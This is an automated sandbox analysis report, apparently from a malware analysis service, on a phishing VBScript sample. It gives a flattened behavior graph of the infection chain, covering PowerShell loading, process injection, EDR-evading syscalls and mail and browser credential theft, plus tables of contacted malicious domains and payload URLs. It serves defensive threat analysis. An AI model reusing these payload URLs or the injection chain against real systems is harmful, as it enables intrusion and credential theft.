behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1526385 Sample: Narudzba ACH0036173.vbe Startdate: 05/10/2024 Architecture: WINDOWS Score: 100 43 www.casesrep.site 2->43 45 casesrep.site 2->45 47 3 other IPs or domains 2->47 63 Suricata IDS alerts for network traffic 2->63 65 Malicious sample detected (through community Yara rule) 2->65 67 Multi AV Scanner detection for submitted file 2->67 69 6 other signatures 2->69 10 powershell.exe 18 2->10         started        13 wscript.exe 1 2->13         started        signatures3 process4 signatures5 77 Early bird code injection technique detected 10->77 79 Writes to foreign memory regions 10->79 81 Found suspicious powershell code related to unpacking or dynamic code loading 10->81 83 Queues an APC in another process (thread injection) 10->83 15 msiexec.exe 6 10->15         started        18 conhost.exe 10->18         started        85 Suspicious powershell command line found 13->85 87 Wscript starts Powershell (via cmd or directly) 13->87 89 Windows Scripting host queries suspicious COM object (likely to drop second stage) 13->89 91 Suspicious execution chain found 13->91 20 powershell.exe 14 18 13->20         started        23 cmd.exe 1 13->23         started        process6 dnsIp7 93 Maps a DLL or memory area into another process 15->93 25 HTiDHBMqChwMbO.exe 15->25 injected 49 pub-2f7d07153ea1403184d62266d9c28e41.r2.dev 162.159.140.237, 443, 49730, 49737 CLOUDFLARENETUS United States 20->49 95 Found suspicious powershell code related to unpacking or dynamic code loading 20->95 28 conhost.exe 20->28         started        97 Uses ping.exe to check the status of other devices and networks 23->97 30 conhost.exe 23->30         started        32 PING.EXE 1 23->32         started        signatures8 process9 signatures10 73 Maps a DLL or memory area into another process 25->73 75 Found direct / indirect Syscall (likely to bypass EDR) 25->75 34 msinfo32.exe 13 25->34         started        process11 signatures12 55 Tries to steal Mail credentials (via file / registry access) 34->55 57 Tries to harvest and steal browser information (history, passwords, etc) 34->57 59 Modifies the context of a thread in another process (thread injection) 34->59 61 2 other signatures 34->61 37 HTiDHBMqChwMbO.exe 34->37 injected 41 firefox.exe 34->41         started        process13 dnsIp14 51 casesrep.site 84.32.84.32, 49946, 50005, 50006 NTT-LT-ASLT Lithuania 37->51 53 www.kuaimaolife.shop 38.55.251.233, 50009, 50010, 80 COGENT-174US United States 37->53 71 Found direct / indirect Syscall (likely to bypass EDR) 37->71 signatures15
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
162.159.140.237
 pub-2f7d07153ea1403184d62266d9c28e41.r2.dev United States
13335 CLOUDFLARENETUS false
84.32.84.32
 casesrep.site Lithuania
33922 NTT-LT-ASLT true
38.55.251.233
 www.kuaimaolife.shop United States
174 COGENT-174US false

Contacted Domains

Name IP Active
pub-2f7d07153ea1403184d62266d9c28e41.r2.dev 162.159.140.237 true
casesrep.site 84.32.84.32 true
www.kuaimaolife.shop 38.55.251.233 true
www.casesrep.site unknown unknown
6777.6777.6777.677e unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://pub-2f7d07153ea1403184d62266d9c28e41.r2.dev/nedkoge.mso false
    		unknown
    https://pub-2f7d07153ea1403184d62266d9c28e41.r2.dev/BEkfITzYaj231.bin false
      		unknown
      http://www.casesrep.site/7z6q/ true
        		unknown
        http://www.kuaimaolife.shop/80e1/ false
          		unknown